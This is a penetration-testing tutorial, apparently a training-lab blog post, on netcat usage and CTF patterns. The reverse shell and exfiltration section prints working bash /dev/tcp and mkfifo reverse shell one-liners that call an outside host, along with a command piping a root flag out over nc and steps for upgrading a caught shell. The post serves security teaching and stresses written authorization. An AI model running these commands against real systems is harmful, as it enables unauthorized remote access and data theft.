How to Use Netcat: Commands and CTF Examples (2026)

Penetration Testing
16 min read
How to Use Netcat: Commands and CTF Examples (2026)
On this page
  1. What Is Netcat?
  2. Installing Netcat and Checking Which Version You Have
  3. How to Use Netcat: The Two Commands Behind Everything
  4. Port Checks and Banner Grabbing
  5. Transferring Files With Netcat
  6. Reverse Shells and the Missing -e Flag
  7. Netcat in CTF Challenges
  8. Netcat Commands Cheat Sheet
  9. Legal and Ethical Considerations
    1. Where This Is Fair Game
  10. Frequently Asked Questions
  11. Your Next Steps

A netcat listener is usually the first thing you start in a CTF and the last thing you kill. Nine characters of typing, no dependencies, no config file, and it sits on the receiving end of half the exploits you will ever run. Learning how to use netcat properly takes an afternoon and pays back every week after that.

Every article calls netcat the Swiss army knife of networking, which is true and tells you nothing about what to type. This guide is the other thing: the handful of commands that carry the tool, the flags that decide whether they hang or return, and the one missing option that sends more beginners to Stack Overflow than anything else in penetration testing. If you want to run these against something real while you read, the network penetration testing course puts them in the order you actually use them on a box.

TL;DR: Netcat (nc) reads and writes raw data over TCP and UDP. Start a listener with nc -lvnp 4444, connect with nc HOST PORT, check ports with nc -zv HOST 20-25, and move files by pointing a listener's output at a file. The version on Kali and Ubuntu is netcat-openbsd, which has no -e flag, so reverse shells need bash -i >& /dev/tcp/... or the mkfifo pattern instead.

What Is Netcat?

Netcat is a command-line tool that reads and writes data across network connections using TCP or UDP. It makes a socket, hands you both ends of it, and gets out of the way. Anything you can pipe into a program you can pipe into a network connection, and anything arriving on that connection comes back out as standard output.

That description sounds too general to be useful until you see what it replaces. Netcat is how you catch a shell, confirm a port is genuinely open rather than just unfiltered, talk to a service by hand before you write a script for it, and copy a file onto a machine that has no curl, no wget and no package manager.

The original was written by a developer known as Hobbit and released on 28 October 1995. The final release of that codebase, version 1.10, landed in March 1996 and still ships in Linux distributions three decades later. Three implementations matter today:

  • netcat-traditional (1.10). The original code. Has the -e flag that executes a program on connect, plus a hex dump mode. On Debian-family systems it installs as nc.traditional rather than nc.
  • netcat-openbsd. A clean rewrite with IPv6, Unix domain sockets and proxy support, though the Debian build ships without TLS. This is the nc you get by default on Kali, Ubuntu and Debian, and it deliberately dropped -e.
  • Ncat. Written for the Nmap project and announced in 2005. Adds SSL, SOCKS4 and HTTP proxying, connection brokering, and --exec and --sh-exec. Installed alongside Nmap, so you probably already have it.

Which one you have decides which commands work. Nearly every "this netcat command does not work" question online is really a version mismatch between the guide someone read and the binary on their machine.

Installing Netcat and Checking Which Version You Have

Before installing anything, find out what is already there. The first line of the help output names the variant:

nc -h

On Ubuntu 24.04 that returns:

OpenBSD netcat (Debian patchlevel 1.226-1ubuntu2)
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]

Read that usage string carefully, because there is no e in it. That single detail explains the section further down this page.

On Debian, Ubuntu, Kali and Parrot, the OpenBSD build is one command away:

sudo apt update && sudo apt install netcat-openbsd

If you want the original as well, install it separately. It does not overwrite nc, which is the sane behaviour:

sudo apt install netcat-traditional

That gives you nc.traditional, currently packaged as version 1.10-48. Its own help text is refreshingly blunt about the execute flag:

-c shell commands	as `-e'; use /bin/sh to exec [dangerous!!]
-e filename		program to exec after connect [dangerous!!]

macOS ships a BSD-derived nc already, so there is nothing to install for basic use. For Ncat, brew install nmap covers it. On Windows, take Ncat from the official Nmap installer rather than one of the ancient nc.exe binaries circulating on file-sharing sites: those are unsigned, frequently modified, and security software flags them on sight, which is expected behaviour in a protected environment and not something to work around.

💻
Practice this now: Hack the Box - a full network target where port checks and a caught shell are the path to the flag. Browser-based, no VPN and no VM to build.

How to Use Netcat: The Two Commands Behind Everything

Netcat has exactly two modes: listen, or connect. Every recipe in this guide is one of those two with a pipe attached.

Start a listener:

nc -lvnp 4444

Four flags, each earning its place. -l listens instead of connecting. -v is verbose, so you see the connection arrive rather than staring at a blank terminal wondering. -n skips DNS resolution, which removes a lookup that can stall for seconds on an isolated network. -p sets the port.

From another terminal, connect and send something:

echo "hello from the client" | nc 127.0.0.1 4444

The listener prints exactly this:

Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 44782
hello from the client

Two behaviours trip people up on day one. A listener dies after the first client disconnects unless you add -k, which keeps it accepting new connections:

nc -lvnk 4452
Listening on 0.0.0.0 4452
Connection received on 127.0.0.1 52654
one
Connection received on 127.0.0.1 52666
two

And the traditional build wants its port as a separate argument, so nc.traditional -l -p 4444 works where nc.traditional -lvnp 4444 does not. Guides written for one variant fail silently on the other.

Ports below 1024 need root. If nc -lvnp 80 returns a permission error, that is the reason, and picking 4444 or 9001 instead is almost always the better answer than reaching for sudo.

Port Checks and Banner Grabbing

The -z flag connects and immediately disconnects without sending data, which turns netcat into a quick port check. Combine it with -v so it reports results, and give it a range:

nc -zv 127.0.0.1 8079-8081
nc: connect to 127.0.0.1 port 8079 (tcp) failed: Connection refused
Connection to 127.0.0.1 8080 port [tcp/http-alt] succeeded!
nc: connect to 127.0.0.1 port 8081 (tcp) failed: Connection refused

Add -w 2 to cap how long each attempt waits. Without a timeout, a filtered port leaves netcat sitting on a connection that will never complete, and a 20-port sweep turns into a coffee break.

My honest advice: do not use netcat as a port scanner. It is single-threaded, it has no service detection, and it is slower than the tool built for the job by an enormous margin. Reach for the commands in our Nmap cheat sheet instead. Netcat earns its keep for the follow-up question, when Nmap has told you port 8080 is open and you want to know what is actually answering. If port numbers and services are still fuzzy, our explainer on what a port is covers the groundwork.

Many services announce themselves the moment you connect. Just open the socket and wait:

nc -nv 10.10.10.5 22

An OpenSSH server answers with something like SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13 before you type anything. That string names the software, the version and often the distribution package, which is your first real fingerprint of the host.

HTTP is quieter and waits for a request. Send one by hand:

printf 'GET / HTTP/1.0\r\n\r\n' | nc 127.0.0.1 8080
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.15
Date: Sat, 22 Aug 2026 07:10:41 GMT
Content-type: text/html; charset=utf-8
Content-Length: 277

The printf matters more than it looks. HTTP requires carriage-return line feed endings and a blank line to close the headers, which is what \r\n\r\n provides. Use echo and the server waits forever for a request you think you already sent. If you would rather not think about line endings, nc -C sends CRLF for you.

In practice this is where netcat beats every graphical tool. You can send a deliberately malformed request, an oversized header or a verb the server has never heard of, and watch the raw response come back with nothing in between reinterpreting it.

Transferring Files With Netcat

On a machine with no curl, no wget and no writable package cache, netcat is often the only way to move a file. The receiver listens and redirects to a file. The sender connects and redirects from one.

On the receiving machine:

nc -lvnp 4445 > received.txt

On the sending machine:

nc -q 1 -N 10.10.10.5 4445 < secrets.txt

Those two flags on the sender are the difference between a transfer that finishes and one that appears to hang. -N shuts the socket down when standard input hits end of file, and -q 1 quits one second later. Leave them off and both sides sit there holding an open connection long after the last byte arrived, which reads exactly like a failure. Plenty of people conclude netcat is broken at this point. It is doing what it was told.

Netcat gives you no integrity check, no encryption and no progress bar, so verify the result yourself:

sha256sum secrets.txt received.txt

Anything that does not match means a truncated transfer, and a truncated transfer with no error message is netcat's least endearing habit. For a whole directory, pipe tar through the connection rather than sending files one at a time:

tar czf - /var/log | nc -q 1 -N 10.10.10.5 4445
nc -lvnp 4445 | tar xzvf -

Worth knowing on the defensive side: moving tooling onto a compromised host is catalogued by MITRE as T1105, Ingress Tool Transfer, and a listener on an unusual port followed by a burst of outbound data is one of the more reliable things a monitored network picks up. That is a good thing when you are the defender and a scoping conversation when you are not.

Reverse Shells and the Missing -e Flag

Here is the wall that every beginner hits. Half the tutorials online tell you to run this:

nc -e /bin/sh 10.10.10.5 4444

And on Kali, Ubuntu or Debian, netcat answers:

nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]

Nothing is broken. The OpenBSD rewrite removed the flag on purpose, because a listener that executes a shell on any inbound connection is an unauthenticated backdoor for anyone who finds the port first. The traditional build still has it and labels it [dangerous!!] in its own help text, which is a fair summary.

Three replacements work on a stock Linux target. The first uses bash's built-in network redirection and needs no netcat on the target at all:

bash -i >& /dev/tcp/10.10.10.5/4444 0>&1

The second is the named pipe pattern, which is the answer when the target has netcat but the stripped-down version:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.5 4444 > /tmp/f

Run that against your own listener and you get this back:

Listening on 0.0.0.0 4446
Connection received on 127.0.0.1 53596
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

The fifo is doing the work that -e used to do: the shell's output goes into netcat, netcat's input comes back out of the pipe, and the loop closes.

The third option is Ncat, which kept the feature under clearer names: --exec runs a program directly and --sh-exec hands the command to /bin/sh. Ncat also listens over TLS, which is the difference between a shell that crosses the network in plaintext and one that does not. On lab infrastructure you own:

ncat --ssl -lvnp 4444

Notice the can't access tty line in that output. A raw netcat shell has no job control, no tab completion, no arrow-key history, and Ctrl+C kills your listener instead of the running command. Upgrade it immediately:

  1. Spawn a real PTY. python3 -c 'import pty; pty.spawn("/bin/bash")' on the target.
  2. Background the shell. Ctrl+Z drops you back to your own terminal.
  3. Fix your local terminal. stty raw -echo; fg hands raw keystrokes straight to the remote shell.
  4. Set a terminal type. export TERM=xterm makes clear, less and vim behave.

Those four steps take fifteen seconds and turn an unusable shell into a working one. Our reverse shell cheat sheet collects the payloads for targets without bash or Python, which you will meet the first time you land on something minimal.

💻
Practice this now: Beyond Echo - a command injection flaw where getting a callback out of the box is the whole point. Start your listener, then find the injection.

Netcat in CTF Challenges

Four patterns cover most of the netcat you will type in a competition.

The challenge is a socket. When a task hands you nothing but nc challenge.ctf.io 31337, the service on that port is the challenge. Connect, read what it says, and treat it like a program with a text interface, because that is what it is. Binary exploitation and misc tasks lean on this constantly.

The listener catches the shell. You find command injection or file upload on a web target, you already have nc -lvnp 4444 running, and the callback lands. Start the listener before you fire the payload, not after. Watching a shell connect to a port nobody is listening on is a rite of passage nobody enjoys twice.

Netcat is the exfiltration path. Root flag on a box with no outbound HTTP, but raw TCP allowed on a high port. cat /root/flag-root.txt | nc 10.10.10.5 4444 and it is on your machine.

You are reverse engineering a protocol. Connect by hand, send a byte, see what comes back, send another. Once you understand the exchange, move to a Python socket or pwntools, because netcat has no logic and no retries. Anything involving a loop or a computed value belongs in a script.

One buffering gotcha specific to CTFs. Piping into netcat non-interactively can leave your input sitting in a buffer while the remote service waits, which looks like the service ignoring you. stdbuf -o0 in front of the pipeline, or simply keeping the session interactive, avoids an hour of debugging a problem that was never on the network.

Netcat Commands Cheat Sheet

The commands worth keeping within reach:

  • nc -lvnp 4444 - listen on port 4444, verbose, no DNS
  • nc -lvnk 4444 - same, but keep listening after each client disconnects
  • nc 10.10.10.5 4444 - connect to a host and port
  • nc -zv 10.10.10.5 20-25 - check a range of ports without sending data
  • nc -nv 10.10.10.5 22 - grab a service banner
  • printf 'GET / HTTP/1.0\r\n\r\n' | nc 10.10.10.5 80 - send a raw HTTP request
  • nc -lvnp 4445 > out.bin - receive a file
  • nc -q 1 -N 10.10.10.5 4445 < in.bin - send a file and close cleanly
  • nc -u -lvnp 9999 - listen on UDP instead of TCP
  • nc -w 2 -zv host 80 - cap the wait at two seconds
  • nc -x 127.0.0.1:9050 -X 5 host 80 - route the connection through a SOCKS5 proxy

UDP deserves a caution. There is no handshake, so nc -zvu reports success whenever no ICMP port-unreachable message comes back. On a firewalled host, a filtered port and a genuinely open one look identical, and a clean UDP result has told you almost nothing.

Full option lists live in the OpenBSD nc man page and the history of the various implementations is worth ten minutes if you ever have to explain to a client why three tools with the same name behave differently.

Critical reminder: Always get explicit written authorization before testing any system. Opening a connection to a host you do not own is unauthorized access in most jurisdictions, and netcat leaves a full connection record in logs on both ends.

Netcat sits closer to the legal line than a metadata reader or a hash cracker, because using it means touching somebody else's machine. A completed TCP connection is a recorded event, and "I was only checking whether the port was open" has never been much of a defence.

Where This Is Fair Game

  • Machines you own, plus virtual machines and containers on your own network
  • Targets named in writing in a signed engagement, within the agreed window
  • CTF platforms and training labs, inside their published rules
  • Your own infrastructure, where netcat is a legitimate troubleshooting tool for administrators

One rule that saves careers: a scope document naming an IP range does not authorise you to leave a listener running on a client machine after the engagement ends. Clean up every listener you start, and note in your report that you did. An unattended shell on production is a finding against you, not against them.

Frequently Asked Questions

What is netcat used for?

Reading and writing raw data over TCP and UDP connections. Administrators use it to test whether a port and service respond, developers use it to send handcrafted protocol messages, and penetration testers and CTF players use it to grab banners, transfer files and catch reverse shells from exploited targets.

How do I install netcat on Kali Linux?

It is already there. Kali ships netcat-openbsd as nc. If you also want the original 1.10 implementation with its -e flag, run sudo apt install netcat-traditional, which installs as nc.traditional and leaves nc alone. Check which one you have with nc -h.

Why does nc -e not work?

Because the netcat-openbsd build that ships on Kali, Ubuntu and Debian removed the flag deliberately. A listener that executes a shell on any inbound connection is an unauthenticated backdoor. Use bash -i >& /dev/tcp/IP/PORT 0>&1, the mkfifo named pipe pattern, or Ncat's --exec instead.

What is the difference between netcat and telnet?

Telnet is a client for one protocol and negotiates terminal options that corrupt binary data. Netcat sends and receives raw bytes with no negotiation, listens as well as connects, speaks UDP, and pipes cleanly into other commands. For interactive banner grabbing either works. For anything scripted or binary, use netcat.

Is netcat still relevant in 2026?

Yes, and for a slightly unglamorous reason: it is preinstalled or one apt command away almost everywhere, and it has no dependencies. Newer tools do individual jobs better, but when you land on a stripped-down host at two in the morning, netcat is the thing that is already there.

Can netcat transfer files between two computers?

Yes. Run nc -lvnp 4445 > file.out on the receiver and nc -q 1 -N HOST 4445 < file.in on the sender. The -N and -q 1 flags close the connection when the file ends. There is no encryption or integrity check, so compare sha256sum output on both sides afterwards.

Your Next Steps

Knowing how to use netcat comes down to five commands you will type for the rest of your career: nc -lvnp 4444 to catch anything, nc -zv host 20-25 to check what is open, nc -nv host 22 to see what is answering, nc -q 1 -N host 4445 < file to move data, and the mkfifo pattern when -e is missing. Everything else is a variation on those.

Reading commands is not the same as having one work under pressure. Start a listener and catch a real callback in the Beyond Echo lab, then work a full target end to end with the network penetration testing course. Both run in the browser on HackerDNA's free tier, no credit card and no local setup required.

HackerDNA Team

HackerDNA Team

Written by the HackerDNA team - cybersecurity professionals building hands-on hacking labs and educational content to help you develop real-world security skills.

Meet the Team

Ready to put this into practice?

Stop reading, start hacking. Get hands-on experience with 170+ real-world cybersecurity labs.

Start Hacking Free
21,000+ Hackers 100+ Labs & Courses Free
Start Hacking Free